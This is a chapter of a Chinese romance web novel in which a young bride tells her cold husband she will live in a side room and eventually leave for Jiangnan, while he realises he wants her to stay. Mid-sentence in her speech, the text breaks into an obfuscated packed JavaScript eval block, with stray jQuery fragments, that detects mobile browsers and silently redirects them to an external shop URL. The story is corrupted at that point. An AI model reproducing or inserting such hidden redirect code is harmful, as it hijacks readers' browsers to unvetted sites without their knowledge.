暮色已临，晚饭后，趴在窗棂上的宋含章思虑再三，还是决定要趁暮色未沉，去书房一趟，把一些事情讲清楚。
于是，她离开小屋，前往书房。
她走进书房时，顾承宇正在看一本兵书。她听见书页翻动的声音，很轻，很慢，像一片叶子落在水面上。
她没有像早晨那样大大咧咧地趴在他书案前，而是拉了一张椅子放在书案前坐下，身体笔直，双手交叠在膝上，姿态端庄得像变了一个人。
顾承宇的余光里看见她收起了那份慵懒。她脸上的笑意没有消失，但变了——变得很平静，平静得像一潭被月光照透了的清水，能看见水底每一颗石子，却看不见水的深浅。
她不说话，他也不开口，书房里只有他翻动书页的声响和她均匀而克制的呼吸。
终于。
“顾承宇。”
她开口了，声音不轻不重，“今晚，你回卧房睡吧。书房的床榻太小，你个子那么高，蜷在上面腿都伸不直，会腰疼的。”
她的语气很平常，像是在叮嘱一个不会照顾自己的家人，“我已搬到你隔壁的小屋去了。”
顾承宇没有回答，只是把手里的兵书翻了一页，指腹摩挲着泛黄的纸张。
他在想，她到底知不知道自己在说什么——一个刚进门的新妇，大方地让丈夫回卧房睡，自己却搬到隔壁的仆人房里去。
可她好像从来不觉得自己说的话有什么不妥。
今天早上到现在——
叫他“夫君”时甜得能挤出蜜来，
叫他“老兄”时豪爽得像在喊同袍，
叫他“顾承宇”时带着几分傲娇，
叫他“顾小气鬼”时尾音微微上扬，像在撒娇。
才半日不到，她已经给他取了四个称呼，每一个都不一样，每一个都像一把不同形状的钥匙，在试着开同一把锁。
他没有给她想要的回答。
他从来不给任何人想要的回答。他只是继续看他的书，一个字一个字地看，像是在用这种方式告诉她——你爱搬就搬，与我无关。
“昨晚，你让我滚出去，”她说，双手依旧交叠在膝上，指节微微泛白，“我想了一下，我只能滚一半。”
他的手指在书页上停住了。
什么叫滚一半？
他终于抬起眼，对上她的目光。
她没有回避，只是坦坦荡荡地看着他，像是在等他问。
他果然问了：“为何？”
“我现在还不能滚出清风居，不能滚出顾家。”她的语气很认真，“第一，是怕祖母和母亲伤心。我不知道祖母和母亲为何会看上粗鄙的我，但是我知道她们很爱你，真的很爱、很爱你。她们为了你，一个敢用免死金牌去救下宋家女眷，一个敢跪在我母亲面前求。如果我滚了，她们会难过的。”
顾承宇没有接话，可他捏着书页的手指微微收紧了一些。
她说的“粗鄙”，她说得那么自然，像是在说一个已经接受了的、不可更改的事实，就像说自己的头发是黑色的，眼睛是湿漉漉的——她宋含章，是粗鄙的。
可，她哪里粗鄙了——她，明明这样美，美得让他用六年筑起的冰冷、厚重的心墙，在一朝之间便出现了裂缝。
“第二，”她继续说，“如果我此时滚出了清风居，滚出了顾家，又会成为满京城的笑话。小时候我已经尝到了被满京城人厌恶嘲讽的滋味，现在长大了，我再也不想成为满京城茶余饭后的谈资了。”
她说这话时没有哭，没有委屈，甚至连语气都没有加重。
她只是在陈述，像在说今天的海棠花开得很好。可正是这份平静，让他把书页捏得更紧了。
她才十六岁，这是要把多少委屈咽下去，才能用这样的语气说出这样的话。
她忽然抬起头，望了一眼窗外的海棠花。
一阵风吹过，花瓣簌簌地落下来，有一片正好被风从窗户卷进书房，落在她的肩上。
她伸手拈起那片花瓣，放在鼻尖闻了闻，然后看着他，直呼他的名字——“顾承宇，你是好人。”
他的嘴角轻轻翘了一下，不是笑，是一种混杂着自嘲和不信的弧度。“我是好人？”
“不管你打断多少丫鬟的腿脚，不管京城的人如何看你，你在我心里，就是一个好人。”
她的眼睛澄澈得像一潭可以一眼望到底的清水，没有讨好，没有试探，只有一种认真到了极致的笃定。
“六年前，满京城的人都厌恶我，只有你看我时眼里不带厌恶，全是善意，还给我手帕擦嘴。从我记事起，阿娘唯一一次给我梳头，就是我昨日出嫁的时候。你是第一个给我梳头的男人，你是第一个给我描眉，第一个给我画花钿的人。所以，你就是一个好人。”
他没有说话，可他心里在说：这些不过是举手之劳。梳头，描眉，画花钿——都是些再寻常不过的事，寻常到任何一个丈夫都会为妻子做。
可对她来说，竟成了判断一个人是好是坏的依据。她的母亲到底有多忽视她，才能让她把这些寻常事当成恩情来记。
她叹了一口气，起身，走到窗前，看着那间小屋的方向，额前的碎发被风吹得轻轻晃动。
“我已经把我的东西从你的卧房搬进了这间小屋，以后我就住在那里。那间小屋我很喜欢——一开窗便可以看到这美丽的海棠花。”
她移动目光，看着满树的繁花，像是在自言自语，“本不是花季，为何宁安侯府里带着浓浓的花香呢。”
他顺着她的目光看了一眼那间小屋。那是清风居里最不起眼的一间偏房，房间不大，只有一扇小窗，推窗恰好能看见这棵海棠树。
她说喜欢，是真的喜欢，嘴角带着笑，是那种从心底深处浮上来的、满足的笑。
一个正妻，搬出主卧，住进仆人的房间，还能这样从容，还能这样笑着说话。
不知为何，他忽然觉得心里有些空落落的。那种空，不是失去了什么，而是有什么东西在他心里轻轻敲了一下，然后那回音一直在荡，一直荡到他自己都说不清的地方。
他甚至察觉到了一丝极淡极淡的怒意——不是对她的，是对自己的。他不知道自己为什么会有这种感觉，也不想知道。
她转身，把目光落在他身上，又说了一遍:“顾承宇，你真的是一个好人。”
“从今晚起，我就住在小屋。你放心，我睡觉不会打呼噜，早上不会吵你，白天你在书房，我就待在屋里不出来，绝对不会扰了你的清静。可不可以等一年半载，等我把要做的事情做完。届时，不用你赶我，我自己滚，保证不带走你清风居里的一片海棠花和一缕香。”
她说得很认真，认真得让他不敢看她的眼睛。
“我会滚回江南。那里没有讽刺，没有嘲笑，没有嫌弃。那里只有山，只有水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780998|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，只有竹林里的风。我一辈子都不回来了。”
然后她迈开步伐，离开了书房。她走路步子跨得很大，依旧带风，裙摆在她身后翻卷起来，像一朵被风托着往前的花。
顾承宇低着头，把手里的兵书放在书案上。
他自始至终只说了两句话——“为何”“我是好人”这两句简洁得不能再简洁的话。
可那颗心，已经不像自己以为的那样稳了。
她说的每一个字，他都听进去了——“第一个”，她说“第一个”，说了三次。
他忽然想问她——那你能不能也让我做最后一个？
最后一个给你描眉的人，最后一个给你梳头的人，最后一个让你心甘情愿留在京城、不去江南的人。
可他没有问，他只是抬起眼，看着对面那把空了的椅子。
椅子上，还残留着她的香。
她说她目前不能滚，因为不想让祖母和母亲伤心，因为不想再成为笑话。
她说这些时，用的是“滚”这个字——他昨晚对她说“滚出去”，她便把这个字原封不动地还了回来，像是在说，你看，你让我滚，我没有滚远，我只是滚到了隔壁，这样就不算违抗你的命令，也不算辜负祖母和母亲的期待。
她在用她自己的方式，替他圆那个他自己也圆不了的局。
他忽然明白了什么是“滚一半”。不是妥协，不是退让，而是一个姑娘在用她所能想到的最体面的方式，留在她该留的地方。
她把自己当成一件工具，可她不是工具——
她是一个会在海棠花下放声大笑的人，
她是一个会追着花瓣奔跑的人，
她是一个会把“锤子期”说成“锤子期”的人。
她那样鲜活，那样生动，那样让人移不开眼，却不打算在这里待一辈子。
她说可不可以等一年半载，等她把要做的事情做完。那她要做的事情是什么——是报答顾家的恩情，一定是。
他铁定宋含章答应嫁给他，就是为了报答顾家的恩情。报完了就走，走得干干净净，连一片海棠花瓣都不带走。
他看着窗外那间小屋，忽然觉得很安静。
清风居里从来没有这样安静过——以前也安静，可那是死寂，是没有人说话的沉默；现在的安静不一样，是活的，是因为知道有人在附近而无需说话的踏实。
他不知道自己会不会习惯这种安静，可他隐约知道，等有一天这安静被抽走的时候，他大概会很不习惯。
他知道她说的是真话。
宋行简说过，他这个妹妹从不说假话，她说会做，就会做。她说会走，就一定会走。
她不是一个会被任何人、任何事困住的姑娘——小时候困不住她，京城困不住她，他顾承宇又凭什么困住她。
可他忽然发现，明明才相识半日，自己却并不想让她走。
这个念头从他的心底浮上来，像一颗被埋了太久的种子，终于在这一刻破土而出。
他被这个念头吓了一跳，几乎是下意识地将它按了回去，按回那团他花了六年时间筑起来的、冷硬的、密不透风的冰层底下。
可它已经破土了。
那颗种子一旦发了芽，便再也藏不住——它会从冰层底下一点一点地钻出来，顶开那些被他封存了六年的、不敢触碰的东西，一直长，一直长，直到长成一棵谁也推不倒的树。